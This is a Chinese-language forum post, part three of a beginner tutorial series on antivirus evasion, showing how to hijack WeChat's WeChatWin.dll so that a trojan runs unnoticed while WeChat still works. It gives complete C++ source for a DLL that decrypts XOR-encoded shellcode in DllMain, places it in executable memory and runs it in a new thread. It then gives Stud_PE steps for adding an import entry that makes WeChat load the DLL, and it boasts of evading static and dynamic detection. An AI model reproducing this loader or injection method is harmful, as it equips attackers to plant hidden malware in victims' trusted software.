新手上路 
  
 
- 资源币
 - 15 
 
	- 积分
 - 20
 
- 贡献
 - 0 
 
- 在线时间
 - 2 小时
 
- 注册时间
 - 2020-2-21
 
- 最后登录
 - 2020-5-3
 
 
 
 
 | 
 
 
零基础入门学免杀(三) 
 
第三期在当初写第二期的时候我就想好了如何写什么,虽然K总一直催我写第三期,但是由于最近比较忙,一直在做 哎……. 所以额一直推到今天才开始写。第三期呢我考虑的是劫持dll过后让程序能够正常运行,达到更隐蔽的运行木马,由于朋友要求所以这次我拿的是微信来做的演示,制作期间遇到了很多问题,利用网上前辈的一些方法和工具行不通(可能是我太菜了),最后我下定决心以损失一次做*的时间为代价终于把它搞定了。下面我会提到我所遇到的问题,我个人不是很喜欢写东西,所以这部分我不会详细的说明,成功那一块我会细说,B话不多说了,先上车吧。 
 
 
查看可劫持DLL: 
这一步老规矩,使用ProcessMonitor查看程序所加载的DLL,这次不需要第一个加载,随便找一个加载的就行了,最好是当前目录 
 
 
 
 
 
 
 
 
随便找了一个WeChatWin.dll,接下来就用这个dll做劫持演示 
 
失败的例子1: 
 
首先我想到的第一个思路是利用IDA查看WeChatWin.dll所有的函数类型,然后自己写一个test.dll,把WeChatWin.dll所有的函数移到test.dll,之后再调用WeChatWin.dll相应的函数。 
 
 
 
可以看到有很多的函数,并且我唯一会的F5大法失效了。函数太多也不可能挨着试,并且我们要还原每个函数,工作量巨大。那么对于相对较懒的我来说这个方法行不通。PS:我这里贴一张脑图吧,测试代码我就不写了。 
 
 
 
 
 
脑图中的WeChatWin.dll是自己写的dll 
test.dll为原来的WeChatWin.dll 
假设function a 是wechat启动第一个调用的函数,当然你也可以加到其他函数里 
 
 
 
失败的例子2: 
由于函数太多自己写太麻烦,我想到了利用工具自动化实现。我在网上找到了一款工具DLL_Hijacker,可以自动生成C语言文件调用原dll的所有函数 
 
 
 
源码如图 
 
 
 
 
 
我随便截取了一部分源码,发现确实可以调用,但是有个问题 函数命名出现了@,编译的时候会报错,根据测试,只要是原dll的函数当中带有形参的都会出现@符号,解决的方法就是用上面的办法用IDA把带有@的函数自己写一遍。这里出现带有@的函数太多显然我不回去这么做,所以此路不通……. 
 
 
 
柳暗花明又一村: 
纠结了许久,我想到了以前玩劫持免杀远控的时候用到过的一个方法:给正常程序添加一个输入表,可以用到这里。具体实现方法如下 
一:新建一个执行shellcode的dll 
利用第一期里面的方法二,先给shellcode进行加密,再解密运行,这里需要注意三点 
 
执行shellcode的命令必须放在dll的主函数里“DllMain” 
 
需要新建一个线程运行shellcode 
 
必须有一个导出函数,函数里面的内容随意就好 
 
 
 
代码如下: 
 
// dllmain.cpp : 定义 DLL 应用程序的入口点。 
 
#include 
"stdafx.h" 
 
#include 
<windows.h> 
 
#include 
<iostream> 
 
#define 
 KEY  
0x97 
 
unsignedchar 
 shellcode[] =  
"\x6b\x7f\x1e\x97\x97\..... " 
; 
//这里写加密shellcode 
 
HANDLE  
My_hThread 
= NULL; 
 
DWORD  WINAPI  ceshi(LPVOID pParameter) 
 
{ 
 
unsignedchar 
 c[ 
sizeof 
(shellcode)];    
//获取shellcode长度 
 
for 
( 
int 
 i =  
0 
; i <  
sizeof 
(shellcode) -  
1 
; i++) 
 
{ 
 
        c = shellcode ^ KEY; 
//进行解密 
 
} 
 
    LPVOID  
Memory 
=  
VirtualAlloc 
(NULL,  
sizeof 
(c), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 
 
 
 
    memcpy( 
Memory 
, c,  
sizeof 
(c)); 
 
 
 
(( 
void 
(*)()) 
Memory 
)(); 
 
return 
0 
; 
 
} 
 
BOOL APIENTRY  
DllMain 
( HMODULE hModule, 
 
                       DWORD  ul_reason_for_call, 
 
                       LPVOID lpReserved 
 
) 
 
{ 
 
 
 
switch 
(ul_reason_for_call) 
 
{ 
 
case 
 DLL_PROCESS_ATTACH: 
//初次调用dll的时候执行下面的 
 
My_hThread 
= :: 
CreateThread 
(NULL,  
0 
, &ceshi,  
0 
,  
0 
,  
0 
); 
//新建线程 
 
break 
; 
 
case 
 DLL_THREAD_ATTACH: 
 
case 
 DLL_THREAD_DETACH: 
 
case 
 DLL_PROCESS_DETACH: 
 
break 
; 
 
} 
 
//ceshi(); 
 
return 
 TRUE; 
 
} 
 
 
 
 
 
extern 
"C" 
 _declspec(dllexport)  
void 
 test() 
 
{ 
 
int 
 a; 
 
    a =  
0 
; 
 
} 
 
 
 
这段代码大概的意思就是 当dll被调用的时候就执行shellcode解密并且运行,所以必须要一个新建一个导出函数才能够调用 
 
我用的是vs2017编译的 
 
编译好之后我们先用loadpe看一下是否有输入表 
 
 
 
 
程序没问题,接下来就是给WeChatWin.dll添加输入表,这里需要用到的工具为Stud_PE 大家自行百度下载 
 
操作步骤:打开Stud_PE-拖入WeChatWin.dll-点击函数栏-右键添加新的输入表-DLL选择-选择函数-添加清单-加入 
之后把自己的dll放到WeChatWin.dll同目录下运行微信即可。 
 
 
 
 
 
 
 
先测试一下静态免杀效果: 
 
 
 
 
 
 
动态免杀效果: 
运行微信 
 
 
 
: 
 
 
 
 
 
 
 
 
 
 
 
 |   
 
 
 
 |